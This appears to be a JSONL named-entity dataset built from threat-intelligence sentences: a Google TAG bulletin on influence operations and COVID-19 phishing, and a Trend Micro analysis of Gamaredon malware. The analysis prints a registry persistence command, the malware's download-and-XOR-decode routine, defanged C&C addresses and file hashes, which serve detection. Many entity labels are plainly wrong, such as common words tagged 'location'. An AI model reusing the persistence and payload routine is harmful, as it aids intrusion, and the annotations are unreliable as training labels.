industry.","entities":[{"id":20906,"label":"location","start_offset":4,"end_offset":8},{"id":20907,"label":"location","start_offset":52,"end_offset":55},{"id":20908,"label":"location","start_offset":126,"end_offset":131},{"id":20909,"label":"location","start_offset":133,"end_offset":136},{"id":20910,"label":"location","start_offset":140,"end_offset":144},{"id":20911,"label":"location","start_offset":159,"end_offset":162},{"id":20912,"label":"location","start_offset":190,"end_offset":198},{"id":20913,"label":"location","start_offset":199,"end_offset":204},{"id":20914,"label":"location","start_offset":205,"end_offset":208},{"id":20915,"label":"location","start_offset":223,"end_offset":231}],"relations":[],"Comments":[]} {"id":6717,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":20916,"label":"location","start_offset":3,"end_offset":7},{"id":20917,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":20918,"label":"location","start_offset":91,"end_offset":94},{"id":20919,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]} {"id":6718,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]} {"id":6719,"text":"It was last updated on May 27, 2020.","entities":[],"relations":[],"Comments":[]} {"id":6720,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]} -{"id":6721,"text":"The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.","entities":[{"id":20925,"label":"location","start_offset":4,"end_offset":12},{"id":20929,"label":"location","start_offset":108,"end_offset":111},{"id":20931,"label":"location","start_offset":133,"end_offset":140},{"id":20934,"label":"location","start_offset":175,"end_offset":178},{"id":20936,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]} {"id":6722,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]} -{"id":6723,"text":"We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":20939,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]} -{"id":6724,"text":"The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":20943,"label":"location","start_offset":4,"end_offset":12},{"id":20944,"label":"location","start_offset":35,"end_offset":42},{"id":20949,"label":"location","start_offset":97,"end_offset":100},{"id":20951,"label":"location","start_offset":109,"end_offset":112},{"id":20953,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]} -{"id":6725,"text":"We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.","entities":[{"id":20955,"label":"location","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]} -{"id":6726,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":20958,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6727,"text":"We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.","entities":[{"id":20963,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]} -{"id":6728,"text":"The campaign was sharing messages in English supportive of Qatar.","entities":[{"id":20967,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]} -{"id":6729,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":20970,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6730,"text":"We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.","entities":[{"id":20973,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]} -{"id":6731,"text":"The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.","entities":[{"id":20976,"label":"location","start_offset":4,"end_offset":12},{"id":20977,"label":"location","start_offset":35,"end_offset":42},{"id":20980,"label":"location","start_offset":74,"end_offset":77},{"id":20982,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]} -{"id":6732,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":20984,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6733,"text":"We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":20991,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":6734,"text":"The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":20994,"label":"location","start_offset":4,"end_offset":12},{"id":20995,"label":"location","start_offset":35,"end_offset":42},{"id":21000,"label":"location","start_offset":97,"end_offset":100},{"id":21002,"label":"location","start_offset":109,"end_offset":112},{"id":21004,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]} -{"id":6735,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21006,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6736,"text":"We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.","entities":[{"id":21009,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]} -{"id":6737,"text":"The domestic campaign was posting pro-Serbian political content.","entities":[{"id":21013,"label":"location","start_offset":4,"end_offset":12},{"id":21014,"label":"location","start_offset":13,"end_offset":21},{"id":21016,"label":"location","start_offset":56,"end_offset":63}],"relations":[],"Comments":[]} -{"id":6738,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":21017,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]} {"id":6739,"text":"Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.","entities":[{"id":21021,"label":"location","start_offset":62,"end_offset":70},{"id":21022,"label":"location","start_offset":111,"end_offset":114},{"id":21023,"label":"location","start_offset":115,"end_offset":119},{"id":21024,"label":"attack-pattern","start_offset":138,"end_offset":146},{"id":21025,"label":"location","start_offset":147,"end_offset":150},{"id":21027,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]} -{"id":6740,"text":"We work across Google products to identify new vulnerabilities and threats.","entities":[{"id":21029,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]} -{"id":6741,"text":"Today we’re sharing our latest findings and the threats we’re seeing in relation to COVID-19.","entities":[{"id":21031,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]} {"id":6742,"text":"One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.","entities":[{"id":21033,"label":"location","start_offset":12,"end_offset":20},{"id":21034,"label":"location","start_offset":34,"end_offset":40},{"id":21036,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":21038,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]} -{"id":6743,"text":"Some messages offered free meals and coupons in response to COVID-19, others suggested recipients visit sites disguised as online ordering and delivery options.","entities":[{"id":21039,"label":"location","start_offset":33,"end_offset":36},{"id":21040,"label":"location","start_offset":104,"end_offset":109},{"id":21041,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]} {"id":6744,"text":"Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.","entities":[{"id":21042,"label":"attack-pattern","start_offset":60,"end_offset":68},{"id":21043,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]} {"id":6745,"text":"The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.","entities":[{"id":21045,"label":"tools","start_offset":4,"end_offset":8},{"id":21046,"label":"location","start_offset":71,"end_offset":75},{"id":21047,"label":"location","start_offset":83,"end_offset":87},{"id":21048,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]} -{"id":6746,"text":"We’re not aware of any user having their account compromised by this campaign, but as usual, we notify all targeted users with a “government-backed attacker” warning.","entities":[{"id":21050,"label":"location","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]} {"id":6747,"text":"We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.","entities":[{"id":21051,"label":"location","start_offset":141,"end_offset":148},{"id":21052,"label":"attack-pattern","start_offset":157,"end_offset":165},{"id":21053,"label":"identity","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]} -{"id":6748,"text":"In fact, we saw a slight decrease in overall volumes in March compared to January and February.","entities":[{"id":21054,"label":"location","start_offset":37,"end_offset":44},{"id":21057,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]} {"id":6749,"text":"While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.","entities":[{"id":21059,"label":"identity","start_offset":94,"end_offset":98},{"id":21060,"label":"location","start_offset":104,"end_offset":108},{"id":21061,"label":"location","start_offset":130,"end_offset":133},{"id":21062,"label":"location","start_offset":165,"end_offset":168},{"id":21063,"label":"location","start_offset":200,"end_offset":203}],"relations":[],"Comments":[]} -{"id":6750,"text":"When working to identify and prevent threats, we use a combination of internal investigative tools, information sharing with industry partners and law enforcement, as well as leads and intelligence from third-party researchers.","entities":[{"id":21064,"label":"location","start_offset":25,"end_offset":28},{"id":21065,"label":"location","start_offset":125,"end_offset":133},{"id":21066,"label":"location","start_offset":143,"end_offset":146},{"id":21067,"label":"location","start_offset":147,"end_offset":150},{"id":21068,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]} -{"id":6751,"text":"To help support this broader security researcher community, Google is providing more than $200,000 in grants as part of a new Vulnerability Research Grant COVID-19 fund for Google VRP researchers who help identify various vulnerabilities.","entities":[{"id":21069,"label":"location","start_offset":29,"end_offset":37},{"id":21070,"label":"location","start_offset":49,"end_offset":58},{"id":21073,"label":"location","start_offset":102,"end_offset":108},{"id":21074,"label":"location","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]} -{"id":6752,"text":"As the world continues to respond to COVID-19, we expect to see new lures and schemes.","entities":[{"id":21076,"label":"location","start_offset":7,"end_offset":12},{"id":21077,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]} {"id":6753,"text":"Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.","entities":[{"id":21078,"label":"location","start_offset":34,"end_offset":37},{"id":21079,"label":"malware","start_offset":38,"end_offset":42},{"id":21080,"label":"location","start_offset":43,"end_offset":47},{"id":21081,"label":"location","start_offset":73,"end_offset":76},{"id":21082,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]} -{"id":6754,"text":"Gamaredon is an advanced persistent threat (APT) group that has been active since 2013.","entities":[{"id":21084,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]} -{"id":6755,"text":"Their campaigns are generally known for targeting Ukrainian government institutions.","entities":[{"id":21086,"label":"location","start_offset":16,"end_offset":19}],"relations":[],"Comments":[]} {"id":6756,"text":"From late 2019 to February of this year, researchers published several reports on Gamaredon, tracking the group’s activities.","entities":[],"relations":[],"Comments":[]} {"id":6757,"text":" In March, we came across an email with a malware attachment that used the Gamaredon group’s tactics.","entities":[],"relations":[],"Comments":[]} -{"id":6758,"text":"Some of the emails used the coronavirus pandemic as a topic to lure victims into opening emails and attachments.","entities":[{"id":21092,"label":"location","start_offset":63,"end_offset":67},{"id":21093,"label":"location","start_offset":96,"end_offset":99}],"relations":[],"Comments":[]} -{"id":6759,"text":"These campaigns targeted victims in European countries and others.","entities":[{"id":21095,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]} {"id":6760,"text":"A brief history of Gamaredon In 2015, researchers from LookingGlass published the first report on Gamaredon.","entities":[],"relations":[],"Comments":[]} -{"id":6761,"text":"According to that report, the early campaigns used Microsoft Word documents that, when inspected, showed that its most recent user went by the name of Armagedon (a misspelled “Armageddon”), which became the basis of the group’s namesake.","entities":[{"id":21101,"label":"location","start_offset":30,"end_offset":35},{"id":21104,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]} {"id":6762,"text":"The report also described Gamaredon’s political beginnings, particularly its ties to the Ukrainian revolution in 2014.","entities":[],"relations":[],"Comments":[]} -{"id":6763,"text":"Before the revolution they had targeted Ukrainian government officials, opposition party members, and journalists.","entities":[{"id":21111,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]} {"id":6764,"text":"They moved on to Ukrainian government institutions after the revolution.","entities":[],"relations":[],"Comments":[]} {"id":6765,"text":"In 2018, CERT-UA published an advisory against the malware Pterodo, which the group allegedly used.","entities":[],"relations":[],"Comments":[]} {"id":6766,"text":"The group remained active, with several Gamaredon-related activities reported in February 2020.","entities":[],"relations":[],"Comments":[]} {"id":6767,"text":"In March, they were among the threat groups that were identified taking advantage of the coronavirus pandemic to trick targets.","entities":[],"relations":[],"Comments":[]} -{"id":6768,"text":"Gamaredon and Covid-19-related cover emails Figure 1.","entities":[{"id":21120,"label":"location","start_offset":10,"end_offset":13}],"relations":[],"Comments":[]} -{"id":6769,"text":"The infection chain of the Gamaredon campaign","entities":[{"id":21123,"label":"location","start_offset":37,"end_offset":45}],"relations":[],"Comments":[]} -{"id":6770,"text":"The case we found arrived through a targeted email that contained a document file (in docx format).","entities":[{"id":21124,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]} {"id":6771,"text":"Opening document starts a template injection technique for loading the document template from the internet.","entities":[],"relations":[],"Comments":[]} {"id":6772,"text":"The downloaded document template contains the malicious macro codes, which executes a VBScript (VBS).","entities":[],"relations":[],"Comments":[]} -{"id":6773,"text":"We found a mechanism for decrypting, executing, and downloading an additional payload from the C&C server.","entities":[{"id":21125,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]} -{"id":6774,"text":"During the time of the analysis however, the C&C server was not accessible, which made us unable to get additional payloads.","entities":[{"id":21126,"label":"location","start_offset":11,"end_offset":15},{"id":21127,"label":"location","start_offset":82,"end_offset":86}],"relations":[],"Comments":[]} {"id":6775,"text":"The attacks we found all arrived through targeted emails (MITRE ATT&CK framework ID T1193).","entities":[],"relations":[],"Comments":[]} -{"id":6776,"text":"One of them even had the subject “Coronavirus (2019-nCoV).”","entities":[{"id":21129,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]} -{"id":6777,"text":"The use of socially relevant topics is a common practice for attackers who wish to make their emails and documents more tempting to open.","entities":[{"id":21131,"label":"location","start_offset":101,"end_offset":104}],"relations":[],"Comments":[]} {"id":6778,"text":"The email that used the coronavirus-related subject came with an attached document file.","entities":[],"relations":[],"Comments":[]} {"id":6779,"text":"Opening this file (MITRE ATT&CK framework ID T1204) executes the template injection method (MITRE ATT&CK framework ID T1221).","entities":[],"relations":[],"Comments":[]} {"id":6780,"text":" Figure 2. Code for downloading the document template with the malicious macro","entities":[],"relations":[],"Comments":[]} -{"id":6781,"text":"The downloaded document template (in dot format) could differ slightly depending on each download.","entities":[{"id":21133,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]} -{"id":6782,"text":"However, its Exif info or metadata remains consistent and shares the following details: Identification: Word 8.0","entities":[{"id":21134,"label":"location","start_offset":54,"end_offset":57}],"relations":[],"Comments":[]} -{"id":6783,"text":"Language code: Russian System: Windows Author: АДМИН (“Administrator” in Russian) Code page: Windows Cyrillic Figure 3.","entities":[{"id":21137,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]} -{"id":6784,"text":"A sample of malicious macro in the downloaded template document","entities":[{"id":21139,"label":"location","start_offset":2,"end_offset":8}],"relations":[],"Comments":[]} {"id":6785,"text":"As mentioned, the template contains malicious macro (MITRE ATT&CK framework ID T1064), which exports VBS (MITRE ATT&CK framework ID T1064) to execute itself.","entities":[],"relations":[],"Comments":[]} -{"id":6786,"text":"More specifically it drops “%USERPROFILE%\\Documents\\MediaPlayer\\PlayList.vbs,” which is hardcoded in the macro, and then executed in “wscript.exe \/\/b %USERPROFILE%\\Documents\\MediaPlayer\\PlayList.vbs.” Figure 4.","entities":[{"id":21140,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]} -{"id":6787,"text":"A content sample for VBS dropped by malicious macro PlayList.vbs contains the obfuscated codes (MITRE ATT&CK framework ID T1140), which it executes after decrypting the obfuscations.","entities":[{"id":21142,"label":"location","start_offset":2,"end_offset":9},{"id":21143,"label":"location","start_offset":10,"end_offset":16}],"relations":[],"Comments":[]} {"id":6788,"text":"This particular behavior is a slight departure from previously reported attacks by Gamaredon, which did not use this technique.","entities":[],"relations":[],"Comments":[]} {"id":6789,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]} -{"id":6790,"text":"A sample of executed VBS Figure 5 shows a snippet of the VBS executed by the Execute function.","entities":[{"id":21146,"label":"location","start_offset":2,"end_offset":8}],"relations":[],"Comments":[]} -{"id":6791,"text":"The routines it follows are enumerated below.","entities":[{"id":21148,"label":"location","start_offset":24,"end_offset":27}],"relations":[],"Comments":[]} -{"id":6792,"text":"Register the RUN key in the registry below, so that the VBS file is executed every time the machine starts (MITRE ATT&CK framework ID T1060)","entities":[{"id":21149,"label":"location","start_offset":0,"end_offset":8},{"id":21150,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]} {"id":6793,"text":"Registry: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\MediaPlayer wscript.exe \/\/b ％USERPROFILE%\\Documents\\MediaPlayer\\PlayList.vbs","entities":[{"id":21151,"label":"REGISTRYKEY","start_offset":10,"end_offset":89}],"relations":[],"Comments":[]} {"id":6794,"text":"Connect with “hxxp:\/\/ kristom[.]hopto[.]org \/{computer name}_{hexadecimal volume serious number}\/help_05_03[.]php” (MITRE ATT&CK framework IDs T1043, T1071, T1082)","entities":[],"relations":[],"Comments":[]} {"id":6795,"text":"If the downloaded file size in the first step exceeds 10,485 bytes, then the file is saved as “%APPDATA%\\\\Microsoft\\Windows\\Cookies.txt” (MITRE ATT&CK framework ID T1105)","entities":[],"relations":[],"Comments":[]} {"id":6796,"text":"Use XOR for the file saved from the second step, where ASCII code converted from its own hexadecimal volume serial number is used as the key.","entities":[],"relations":[],"Comments":[]} {"id":6797,"text":"The decrypted result is saved as “%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe” (T1001)","entities":[],"relations":[],"Comments":[]} {"id":6798,"text":"If the file size of “%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe” exceeds 4,485 bytes, it is executed.","entities":[],"relations":[],"Comments":[]} -{"id":6799,"text":"Both “%APPDATA%\\\\Microsoft\\Windows\\Cookies.txt” and “%APPDATA%\\\\Microsoft\\Windows\\Cookies.exe” are then deleted (MITRE ATT&CK framework ID T1107) The observed routines of this VBS closely follow the other reports published on Gamaredon, such as the one from SentinelOne.","entities":[{"id":21153,"label":"location","start_offset":48,"end_offset":51},{"id":21154,"label":"location","start_offset":95,"end_offset":98},{"id":21156,"label":"location","start_offset":250,"end_offset":253}],"relations":[],"Comments":[]} -{"id":6800,"text":"However, the macro generated VBS was obfuscated in this case, likely as an additional evasive tactic.","entities":[{"id":21158,"label":"location","start_offset":56,"end_offset":60},{"id":21159,"label":"location","start_offset":62,"end_offset":68}],"relations":[],"Comments":[]} {"id":6801,"text":"Interestingly, after decoding the VBS, we saw what appeared to be a programming mistake by the attacker.","entities":[],"relations":[],"Comments":[]} -{"id":6802,"text":"Lines 53 and 54 in figure 6 are for closing those downloaded and decoded TXT and EXE files, which are variables defined right before the IF statement.","entities":[{"id":21161,"label":"location","start_offset":9,"end_offset":12},{"id":21164,"label":"location","start_offset":28,"end_offset":31},{"id":21165,"label":"location","start_offset":61,"end_offset":64},{"id":21166,"label":"location","start_offset":77,"end_offset":80},{"id":21167,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]} {"id":6803,"text":"If, however, these lines do not pass through this IF statement, an error would occur.","entities":[],"relations":[],"Comments":[]} -{"id":6804,"text":"It shows that this malware is not tested enough, and may still be under development.","entities":[{"id":21168,"label":"location","start_offset":49,"end_offset":52},{"id":21169,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]} -{"id":6805,"text":"Our analysis found several URLs of the network destinations for both template injection and VBS.","entities":[{"id":21170,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]} -{"id":6806,"text":"While resolving them to IP addresses to understand their attack bases, we also found that they were all linked to the following IP addresses.","entities":[{"id":21171,"label":"location","start_offset":16,"end_offset":20}],"relations":[],"Comments":[]} {"id":6807,"text":" Network destination for template injection: 176[.]119[.]147[.]225 Network destination for VBS: 176[.]57[.]215[.]115 These IP addresses are from Russian hosting companies.","entities":[{"id":21172,"label":"IPV4","start_offset":45,"end_offset":66},{"id":21173,"label":"IPV4","start_offset":96,"end_offset":116},{"id":21174,"label":"location","start_offset":137,"end_offset":140}],"relations":[],"Comments":[]} -{"id":6808,"text":"Most likely, the attackers rented Virtual Private Server (VPS) as their attack base.","entities":[{"id":21176,"label":"location","start_offset":0,"end_offset":4},{"id":21177,"label":"location","start_offset":5,"end_offset":11}],"relations":[],"Comments":[]} -{"id":6809,"text":"Their URL for VBS (shown below) likely includes the data when they conducted the attack.","entities":[{"id":21178,"label":"location","start_offset":32,"end_offset":38}],"relations":[],"Comments":[]} {"id":6810,"text":" hxxp:\/\/{FQDN}\/{computer name}_{hexadecimal volume serial number}\/help_{day}_{month}[.]php Conclusion Gameradon is not the first group to take advantage of the Covid-19 topic.","entities":[],"relations":[],"Comments":[]} -{"id":6811,"text":"Some cybercriminals have taken to indirect means of profiting, such as by targeting communication platforms that have increased in popularity after organizations shifted to work from home setups.","entities":[{"id":21181,"label":"location","start_offset":43,"end_offset":48},{"id":21182,"label":"location","start_offset":183,"end_offset":187}],"relations":[],"Comments":[]} -{"id":6812,"text":"In this case, they used Covid-19 as a cover for their relatively typical APT routine.","entities":[{"id":21183,"label":"location","start_offset":8,"end_offset":12},{"id":21184,"label":"location","start_offset":73,"end_offset":76}],"relations":[],"Comments":[]} -{"id":6813,"text":"We recommend these countermeasures to prevent similar APT attacks in the future: Check the email sender, subject, and body for anything suspicious before downloading and opening email attachments.","entities":[{"id":21185,"label":"location","start_offset":54,"end_offset":57},{"id":21186,"label":"location","start_offset":82,"end_offset":87},{"id":21187,"label":"location","start_offset":115,"end_offset":118},{"id":21188,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} {"id":6814,"text":"Be especially wary of unsolicited emails, that come from unknown senders.","entities":[],"relations":[],"Comments":[]} -{"id":6815,"text":"Check the file extension of the attached file and make sure it is the intended file format.","entities":[{"id":21189,"label":"location","start_offset":0,"end_offset":5},{"id":21190,"label":"location","start_offset":15,"end_offset":24},{"id":21191,"label":"location","start_offset":46,"end_offset":49}],"relations":[],"Comments":[]} {"id":6816,"text":"Avoid activating macro for any attached Microsoft Office files, especially for emails that request macro activation using an image of the body of the opened file or those that don’t show anything.","entities":[],"relations":[],"Comments":[]} -{"id":6817,"text":"Watch out for spoofed domains embedded in emails before opening them.","entities":[{"id":21194,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]} -{"id":6818,"text":"Subtle changes to a popular URL can be one indicator of malicious content.","entities":[{"id":21195,"label":"location","start_offset":0,"end_offset":6},{"id":21196,"label":"location","start_offset":32,"end_offset":35},{"id":21197,"label":"location","start_offset":39,"end_offset":42},{"id":21198,"label":"location","start_offset":66,"end_offset":73}],"relations":[],"Comments":[]} -{"id":6819,"text":" In addition to these actions, users can also implement a multi-layer approach and take advantage of these solutions. Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security","entities":[{"id":21199,"label":"location","start_offset":37,"end_offset":40},{"id":21200,"label":"location","start_offset":79,"end_offset":82},{"id":21201,"label":"location","start_offset":125,"end_offset":130},{"id":21202,"label":"location","start_offset":138,"end_offset":148},{"id":21203,"label":"location","start_offset":156,"end_offset":159},{"id":21204,"label":"location","start_offset":181,"end_offset":189}],"relations":[],"Comments":[]} -{"id":6820,"text":"protects users and businesses from similar threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.","entities":[{"id":21205,"label":"location","start_offset":15,"end_offset":18},{"id":21206,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]} -{"id":6821,"text":"Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.","entities":[{"id":21208,"label":"location","start_offset":63,"end_offset":66},{"id":21209,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} {"id":6822,"text":"Trend Micro™ Hosted Email Securityis a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.","entities":[{"id":21211,"label":"location","start_offset":54,"end_offset":59},{"id":21212,"label":"location","start_offset":104,"end_offset":114},{"id":21213,"label":"malware","start_offset":118,"end_offset":122},{"id":21214,"label":"attack-pattern","start_offset":138,"end_offset":152},{"id":21215,"label":"location","start_offset":166,"end_offset":169}],"relations":[],"Comments":[]} -{"id":6823,"text":"It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.","entities":[{"id":21217,"label":"location","start_offset":22,"end_offset":30},{"id":21221,"label":"location","start_offset":67,"end_offset":70},{"id":21222,"label":"location","start_offset":84,"end_offset":87}],"relations":[],"Comments":[]} -{"id":6824,"text":"Trend Micro™ OfficeScan™with XGen™ endpoint security infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against advanced malware.","entities":[{"id":21224,"label":"location","start_offset":44,"end_offset":52},{"id":21225,"label":"location","start_offset":66,"end_offset":74},{"id":21226,"label":"location","start_offset":126,"end_offset":129},{"id":21227,"label":"location","start_offset":175,"end_offset":185}],"relations":[],"Comments":[]} -{"id":6825,"text":"The Trend MicroTMXDR solution effectively protects connected emails, endpoints, servers, cloud workloads, and networks.","entities":[{"id":21229,"label":"location","start_offset":89,"end_offset":94},{"id":21230,"label":"location","start_offset":106,"end_offset":109}],"relations":[],"Comments":[]} -{"id":6826,"text":"Trend Micro XDR uses powerful AI and expert security analytics to correlate data, as well as deliver fewer yet higher-fidelity alerts for early threat detection.","entities":[{"id":21232,"label":"location","start_offset":33,"end_offset":36},{"id":21233,"label":"location","start_offset":44,"end_offset":52},{"id":21234,"label":"location","start_offset":118,"end_offset":126},{"id":21235,"label":"location","start_offset":138,"end_offset":143}],"relations":[],"Comments":[]} -{"id":6827,"text":"In a single console, it provides a broader perspective of enterprise systems while at the same time giving a more focused and optimized set of alerts.","entities":[{"id":21236,"label":"location","start_offset":58,"end_offset":68},{"id":21237,"label":"location","start_offset":90,"end_offset":94},{"id":21238,"label":"location","start_offset":95,"end_offset":99},{"id":21239,"label":"location","start_offset":122,"end_offset":125}],"relations":[],"Comments":[]} {"id":6828,"text":"Indicators of Compromise (IoCs) DOCX file SHA256 Detection Name 0d90fe36866ee30eb5e4fd98583bc2fdb5b7da37e42692f390ac5f807a13f057 W97M_CVE20170199.ZYHC-A 036c2088cb48215f21d4f7d751d750b859d57018c04f6cadd45c0c4fee23a9f8 Trojan.W97M.CVE20170199.PG 19d03a25af5b71e859561ff8ccc0a073acb9c61b987bdb28395339f72baf46b4 Trojan.XML.PHISH.AE 62cf22f840fffd8d8781e52b492b03b4efc835571b48823b07535d52b182e861 W97M_CVE20170199.ZKHC-A 8310d39aa1cdd13ca82c769d61049310f8ddaea7cd2c3b940a8a3c248e5e7b06 Trojan.W97M.CVE20170199.PF 84e0b1d94a43c87de55c000e3acae17f4493a57badda3b27146ad8ed0f90c93e Trojan.W97M.CVE20170199.PG 85267e52016b6124e4e42f8b52e68475174c8a2bdf0bc0b501e058e2d388a819 Trojan.W97M.CVE20170199.PF b6a94f565d482906be7da4d801153eb4dab46d92f43be3e1d59ddd2c7f328109 Trojan.W97M.CVE20170199.PF cc775e3cf1a64effa55570715b73413c3ea3a6b47764a998b1272b5be059c25b Trojan.W97M.CVE20170199.PF DOT file SHA256 Detection Name TrendX 00b761bce25594da4c760574d224589daf01086c5637042982767a13a2f61bea Mal_OLEMAL-4 Downloader.VBA.TRX.XXVBAF01FF007 250b09f87fe506fbc6cedf9dbfcb594f7795ed0e02f982b5837334f09e8a184b Mal_OLEMAL-4 4b3ae36b04d6aba70089cb2099e6bc1ba16d16ea24bbf09992f23260151b9faf Mal_OLEMAL-4 946405e2f26e1cc0bd22bc7e12d403da939f02e9c4d8ddd012f049cf4bf1fda9 Mal_OLEMAL-4 9cd5fa89d579a664c28da16064057096a5703773cef0a079f228f21a4b7fd5d2 Mal_OLEMAL-4 c089ccd376c9a4d5e5bdd553181ab4821d2c26fefc299cce7a4f023a660484d5 Mal_OLEMAL-4 e888b5e657b41d45ef0b2ed939e27ff9ea3a11c46946e31372cf26d92361c012 W97M_VBSDOWNLDR.ZKHC-A f577d2b97963b717981c01b535f257e03688ff4a918aa66352aa9cd31845b67d W97M_VBSDOWNLDR.ZYHC-A SHA256 Detection Name TrendX 17161e0ab3907f637c2202a384de67fca49171c79b1b24db7c78a4680637e3d5 Trojan.X97M.CVE201711882.THCOCBO Downloader.VBA.TRX.XXVBAF01FF006 29367502e16bf1e2b788705014d0142d8bcb7fcc6a47d56fb82d7e333454e923 TrojanSpy.Win32.FAREIT.UHBAZCLIZ N\/A 315e297ac510f3f2a60176f9c12fcf92681bbad758135767ba805cdea830b9ee Trojan.X97M.CVE201711882.THCOCBO Downloader.VBA.TRX.XXVBAF01FF006 3e6166a6961bc7c23d316ea9bca87d8287a4044865c3e73064054e805ef5ca1a 